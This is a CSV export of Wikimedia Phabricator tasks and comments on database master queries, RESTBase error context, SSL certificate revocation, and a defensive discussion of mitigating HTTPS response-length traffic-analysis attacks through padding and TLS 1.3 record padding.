+",,,1426619070,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+426248,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 196507 merged by jenkins-bot:
+Made getNewtalk use slaves instead of cache/master
+
+[[https://gerrit.wikimedia.org/r/196507]]",,,1426283630,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+425762,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 196507 had a related patch set uploaded (by Aaron Schulz):
+Made getNewtalk use slaves instead of cache/master
+
+[[https://gerrit.wikimedia.org/r/196507]]
+",,,1426208806,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+425636,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 195837 merged by jenkins-bot:
+Avoid excess master queries in getTimestampFromId
+
+[[https://gerrit.wikimedia.org/r/195837]]",,,1426197653,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+424757,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 195845 merged by jenkins-bot:
+Avoid pointless block table master queries
+
+[[https://gerrit.wikimedia.org/r/195845]]",,,1426103975,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+424334,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 195845 had a related patch set uploaded (by Aaron Schulz):
+Avoid pointless block table master queries
+
+[[https://gerrit.wikimedia.org/r/195845]]
+",,,1426048977,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+424313,Fix database master queries from HTTP GET/HEAD before active-active multi-dc,"Change 195837 had a related patch set uploaded (by Aaron Schulz):
+Avoid excess master queries in getTimestampFromId
+
+[[https://gerrit.wikimedia.org/r/195837]]
+",,,1426044811,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhbs5axmz5dhrlxrv5da,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+92356,propagated external HTTP request exceptions are missing needed context,"When RESTBase makes external requests that fail, the resulting (wrapped) exception is void of useful context, and less helpful as a result.
+
+Example:
+
+```
+Error: ETIMEDOUT
+    at null._onTimeout (/srv/deployment/restbase/deploy/node_modules/request/request.js:909:15)
+    at Timer.listOnTimeout [as ontimeout] (timers.js:110:15)
+```
+",Medium,50.0,1426042283,1426440970.0,PHID-USER-7mtggupugbd5i55vuvdc,False,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-TASK-wdvxtfzkxvrfaqvprs5e,task_description,resolved,True,c3,1,False,False,True,-17,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,1
+426619,propagated external HTTP request exceptions are missing needed context,Fixed by https://github.com/wikimedia/restbase/commit/52e152f9b5a9d59c38442d157236a96c48a2bd78. Closing.,,,1426440970,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-wdvxtfzkxvrfaqvprs5e,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+92298,Investigate our mitigation strategy for HTTPS response length attacks,"There have been a number of (possibly still theoretical) attacks to HTTPS during which an adversary can guess which pages are being visited merely by looking at the response length. This has been mitigated by other websites in various ways, e.g. Twitter profile pictures are put into certain specific size buckets.
+
+We are particularly affected as our pages' content is a) all public and explorable via dumps, making it easier for the attacker to experiment and precompute, b) static and identical in most cases (anonymous users), b) text, assets, images are split into separate IPs and hence different TLS sessions, which both removes a randomized factor and creates even more unique combinations of traffic patterns.
+
+To mitigate this kind of an attack we have to pad our responses up to certain (unguessable) sizes. There's a number of considerations that need to explored before doing so:
+- As @csteipp points out, even a bucket classification won't be enough, as there are still enough bits of information there to make educated guesses based on click path behavior.
+- Padding the HTML with e.g. zeros will be ineffective, as gzip compression will remove most of it from there. We could pad the HTML with random garbage, though, that wouldn't be defeated by gzip.
+- Padding the HTML means that we'd have to pad other resources separately, some of which aren't even being served from MediaWiki (e.g. images/Swift).
+- Padding to specific bucket sizes removes the precomputation-from-dumps factor but does not insert any randomness into the process. A padded text page + its associated, padded, images could still provide enough bits of information to figure out the page visited.
+- Padding obviously increases the content size and comes with obvious performance issues; it's essentially a security/performance tradeoff. Depending on which piece of infrastructure it actually happens, it might also increase storage and/or cache size needed.
+
+So far, it seems more likely that something that we could apply on the edge (either Varnish or nginx) and, potentially make it both bucket-based but with random placement, per request, would be the best strategy. It remains unknown if a) it's possible to pad a gzip response with zeros or garbage but still have it being parsed properly by UAs, b) if it's feasible to pad with HTTP headers and how many/lengthy these should be.",Medium,50.0,1426011615,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,False,PHID-TASK-gtozsuz2f75mxny3ybyw,task_description,open,True,c3,1,True,False,,-17,True,1,1,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,1,1,1,0,0,1,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,1
+2025736,Investigate our mitigation strategy for HTTPS response length attacks,"(The Tangled Web is a 2012 by Michal Zalewski)
+
+Good find. I don't think he's explicitly trying to call out Wikipedia, just listing it as an example of public resource.
+
+Interestingly, the next phrase provides the study https://www.microsoft.com/en-us/research/publication/side-channel-leaks-in-web-applications-a-reality-today-a-challenge-tomorrow/ where they found actual information leaks in real high-profile websites.
+
+It's  probably out of reach to fix this for users with images enabled. It may be possible to //bucketize// the served html for the articles, though.",,,1669591798,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,False,,,386,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+2025698,Investigate our mitigation strategy for HTTPS response length attacks,"I just want to mention I saw this attack being exampled in a book about web security with Wikipedia explicitly mentioned as a vulnerable case.
+> it is worth noting that although HTTPS as such is a sound scheme that resists both passive and active attackers, it does very little to hide the evidence of access to a priori public information. It does not mask the rough HTTP request and response sizes, traffic directions, and timing patterns in a typical browsing session, thus making it possible for unsophisticated, passive attackers to figure out, for example, which embarrassing page on Wikipedia is being viewed by the victim over an encrypted channel.
+
+The tangled web. Page 65",,,1669564501,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,False,,,386,True,0,0,1,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+1797580,Investigate our mitigation strategy for HTTPS response length attacks,"The swap of #Traffic for #Traffic-Icebox in this ticket's set of tags was based on a bulk action for all tickets that aren't are neither part of our current planned work nor clearly a recent, higher-priority emergent issue. This is simply one step in a larger task cleanup effort. Further triage of these tickets (and especially, organizing future potential project ideas from them into a new medium) will occur afterwards! For more detail, have a look at the extended explanation on the main page of Traffic-Icebox . Thank you!",,,1633723502,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,True,,,327,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0
+1697414,Investigate our mitigation strategy for HTTPS response length attacks,">>! In T92298#2795655, @BBlack wrote:
+> 
+> My current thinking on this is that it's best to wait on TLSv1.3's padding mechanism to be available.  It's in the current draft at: https://tools.ietf.org/html/draft-ietf-tls-tls13-18#section-5.4
+
+Subtask T170567 was resolved, and the approved IETF document shows that section more or less in tact <https://tools.ietf.org/html/rfc8446#section-5.4>.",,,1617393753,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,True,,,300,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,1,1,1
+1314836,Investigate our mitigation strategy for HTTPS response length attacks,">>! In T92298#5329217, @Legoktm wrote:
+> Do we support TLS 1.3 yet? I'm apparently connecting over 1.2 still.
+
+No -- {T170567}",,,1562956892,,PHID-USER-6b6w5qogf4deywgbkuzs,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,False,,,210,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1
+1314829,Investigate our mitigation strategy for HTTPS response length attacks,">>! In T92298#2795655, @BBlack wrote:
+> 
+> My current thinking on this is that it's best to wait on TLSv1.3's padding mechanism to be available.  It's in the current draft at: https://tools.ietf.org/html/draft-ietf-tls-tls13-18#section-5.4
+
+That is now https://tools.ietf.org/html/rfc8446#section-5.4 in the approved RfC.
+
+Do we support TLS 1.3 yet? I'm apparently connecting over 1.2 still.
+
+{F29750833}
+
+> Note that TLSv1.3 doesn't include anything about bucketing or randomization strategies, it simply provides a mechanism for padding to be injected at the TLS layer, to be controlled by logic that's outside of the TLS spec's scope.  At that point we'll probably still need to look at the TLS library and/or server and possibly patch them (currently OpenSSL+nginx, but could change by then).
+
+For openssl, I believe this is possible with https://www.openssl.org/docs/man1.1.1/man3/SSL_set_block_padding.html
+",,,1562956571,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,True,,,210,True,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,1,1
+761117,Investigate our mitigation strategy for HTTPS response length attacks,"
+My current thinking on this is that it's best to wait on TLSv1.3's padding mechanism to be available.  It's in the current draft at: https://tools.ietf.org/html/draft-ietf-tls-tls13-18#section-5.4
+
+Note that TLSv1.3 doesn't include anything about bucketing or randomization strategies, it simply provides a mechanism for padding to be injected at the TLS layer, to be controlled by logic that's outside of the TLS spec's scope.  At that point we'll probably still need to look at the TLS library and/or server and possibly patch them (currently OpenSSL+nginx, but could change by then).
+
+Another angle to consider on all of this is the effect of HTTP/2 mixing concurrent streams before TLS record splitting.  This doesn't defeat analysis, but could make it more-difficult and add on to the net effectiveness of the TLS record padding.  This would especially be true if we ever merge our text and upload frontend IPs in T116132 .",,,1479219989,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,True,,,71,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0
+706045,Investigate our mitigation strategy for HTTPS response length attacks,Related: https://tom.vg/papers/heist_blackhat2016.pdf,,,1470342453,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,3,True,,,57,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+479660,Investigate our mitigation strategy for HTTPS response length attacks,"(Moved to Security-General, because its publicly visible and not related to MediaWiki core)",,,1435038206,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,2,True,,,-2,True,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+426163,Investigate our mitigation strategy for HTTPS response length attacks,"In the IETF's TLS working group, we're [[ https://github.com/tlswg/tls13-spec/pull/147 | aiming to add a padding mechanism at the TLS layer ]], so that should give you a place to do the padding that won't be interfered with by gzip (or whatever other HTTP weirdness pops up) at the application layer.
+
+If we can get consensus on that in the next few weeks (which i expect we'll be able to do), i'll try to also write it up as an extension for TLS 1.0 through 1.2.
+
+This provides mechanism, but no explicit policy; we need to think about the policy as well, so i'm glad this discussion is happening.
+
+tstarling wrote:
+
+> I don't think dumps would be useful for precomputation, since the attacker needs to know the exact size of the HTML, not the wikitext. It would be easier to crawl, and that would work against all sites, not just Wikipedia.
+
+an attacker doing this kind of work can use the dumps to generate the HTML text offline to get the pagesize to a pretty reasonable degree of accuracy, without tipping their hand that they're doing so by operating a crawler.
+
+So I do think that the fact that dumps are available is relevant to this attack on user privacy.
+
+I agree with tstarling that generic randomized padding is unlikely to be an effective approach on its own, and with faidon that bucket-based padding with random placement might be a useful strategy.
+
+This is a concrete attack.  See, for example [[ http://arxiv.org/abs/1403.0297 | I Know Why You Went to the Clinic: Risks and Realization of HTTPS Traffic Analysis ]]  But the attack is a statistical one.  Adding padding may not make all content completely opaque, but it broadens the anonymity set substantially (especially for less-illustrated articles).",,,1426276016,,PHID-USER-mhutswjmvjlcslq7kz4c,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,1,False,,,-16,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+424285,Investigate our mitigation strategy for HTTPS response length attacks,"> a) all public and explorable via dumps, making it easier for the attacker to experiment and precompute,
+
+I don't think dumps would be useful for precomputation, since the attacker needs to know the exact size of the HTML, not the wikitext. It would be easier to crawl, and that would work against all sites, not just Wikipedia.
+
+> b) text, assets, images are split into separate IPs and hence different TLS sessions, which both removes a randomized factor and creates even more unique combinations of traffic patterns.
+
+Transmission of every object is preceded by a request, seen by the attacker as an encrypted flow in the reverse direction. So you can tell the size of every object, even if it is in the same TLS session as other objects. Images are requested in the order they appear on the page. 
+
+Say if you pad every object out to the next power of 2, a 25% overhead on average. Then the number of bits you leak is roughly some measure of the variation in base 2 logarithm of size, multiplied by the number of objects. For example, on https://en.wikipedia.org/wiki/Tiananmen_Square_protests_of_1989 , there are 28 images, and the standard deviation of the base 2 logarithm of the sizes of those images is 2.23, so that implies we are leaking about 62 bits of length information about that request, not including HTML size. By that metric, you would have to pad objects out to the next power of 16 to provide reasonable obfuscation.
+
+Padding with a random number of bytes is not much better in terms of information leakage than padding to an exact size class. Unless you added a similar amount of padding (16x), you would be able to determine the article being viewed with high confidence. A feasible algorithm would be to calculate a distance metric between the observed object sizes and the object sizes of each known Wikipedia article. For example, take the object sizes into a 100-dimensional vector, with zeroes representing empty image slots, and find the minimum dot product (x-y).(x-y). It will give the right answer for well-illustrated articles unless the padding is enormous.
+
+So I don't think HTTPS+HTML is the right protocol to provide this sort of privacy guarantee. Maybe it is possible with SPDY.",,,1426037428,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,1,True,,,-17,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+424284,Investigate our mitigation strategy for HTTPS response length attacks,"> a) all public and explorable via dumps, making it easier for the attacker to experiment and precompute,
+
+I don't think dumps would be useful for precomputation, since the attacker needs to know the exact size of the HTML, not the wikitext. It would be easier to crawl, and that would work against all sites, not just Wikipedia.
+
+> b) text, assets, images are split into separate IPs and hence different TLS sessions, which both removes a randomized factor and creates even more unique combinations of traffic patterns.
+
+Transmission of every object is preceded by a request, seen by the attacker as an encrypted flow in the reverse direction. So you can tell the size of every object, even if it is in the same TLS session as other objects. Images are requested in the order they appear on the page. 
+
+Say if you pad every object out to the next power of 2, a 25% overhead on average. Then the number of bits you leak is roughly some measure of the variation in base 2 logarithm of size, multiplied by the number of objects. For example, on https://en.wikipedia.org/wiki/Tiananmen_Square_protests_of_1989 , there are 28 images, and the standard deviation of the base 2 logarithm of the sizes of those images is 2.23, so that implies we are leaking about 62 bits of length information about that request, not including HTML size. By that metric, you would have to pad objects out to the next power of 16 to provide reasonable obfuscation.
+
+Padding with a random number of bytes is not much better in terms of information leakage than padding to an exact size class. Unless you added a similar amount of padding (16x), you would be able to determine the article being viewed with high confidence. A feasible algorithm would be to calculate a distance metric between the observed object sizes and the object sizes of each known Wikipedia article. For example, take the object sizes into a 100-dimensional vector, with zeroes representing empty image slots, and find the minimum dot product. It will give the right answer for well-illustrated articles unless the padding is enormous.
+
+So I don't think HTTPS+HTML is the right protocol to provide this sort of privacy guarantee. Maybe it is possible with SPDY.",,,1426037169,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,,PHID-TASK-gtozsuz2f75mxny3ybyw,task_subcomment,,True,c3,1,True,,,-17,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+92044,revoke / delete metrics.wikimedia.org SSL cert,"this is a ticket to revoke the SSL cert:
+
+metrics.wikimedia.org
+
+[ ] - revoke with the CA / vendor
+[x] -delete cert from public repo
+[x] - delete the matching .key from private repo
+[x] - rm/shred cert and key on servers it is installed on
+
+(once RobH commented on https://gerrit.wikimedia.org/r/#/c/164001/
+
+""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 
+
+ so this is intended to include that and the other steps, i will strike out what i have done. ",Medium,50.0,1425943417,1426105013.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-obwjvkkb32xuz2qaohtn,task_description,resolved,True,c3,1,True,False,True,-17,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,1
+424770,revoke / delete metrics.wikimedia.org SSL cert,"confirmed revocation of cert with rapidssl, resolving.",,,1426105013,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-obwjvkkb32xuz2qaohtn,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+424648,revoke / delete metrics.wikimedia.org SSL cert,"I've gone ahead and removed the public cert and private key from the repos and merged, as well as shredding the files on stat1001 (where they used to reside.)",,,1426095222,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-obwjvkkb32xuz2qaohtn,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+424642,revoke / delete metrics.wikimedia.org SSL cert,"Change 195304 merged by RobH:
+delete metrics.wikimedia.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/195304]]",,,1426094963,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-obwjvkkb32xuz2qaohtn,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+423517,revoke / delete metrics.wikimedia.org SSL cert,"Change 195304 had a related patch set uploaded (by Dzahn):
+delete metrics.wikimedia.org SSL cert
+
+[[https://gerrit.wikimedia.org/r/195304]]
+",,,1425943729,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-obwjvkkb32xuz2qaohtn,task_subcomment,,True,c3,1,False,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+92043,delete / revoke stats.wikimedia.org SSL cert,"this is a ticket to revoke the SSL cert:
+
+stats.wikimedia.org
+
+[ ] - revoke with the CA / vendor
+[x] - delete cert from public repo
+[x] - delete the matching .key from private repo
+[x] - rm/shred cert and key on servers it is installed on
+
+(once RobH commented on https://gerrit.wikimedia.org/r/#/c/164001/
+
+""anytime we delete a certificate, please make an independent core-ops ticket to invalidate the certificate on the provider level, and assign said ticket to me."") 
+
+ so this is intended to include that and the other steps, i will strike out what i have done. ",Medium,50.0,1425943249,1426104904.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-fgtrjqhmdvt3rcjppthz,task_description,resolved,True,c3,1,True,False,True,-17,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,1
+424769,delete / revoke stats.wikimedia.org SSL cert,"revocation via rapidssl complete, resolving",,,1426104904,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-fgtrjqhmdvt3rcjppthz,task_subcomment,,True,c3,1,True,,,-17,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
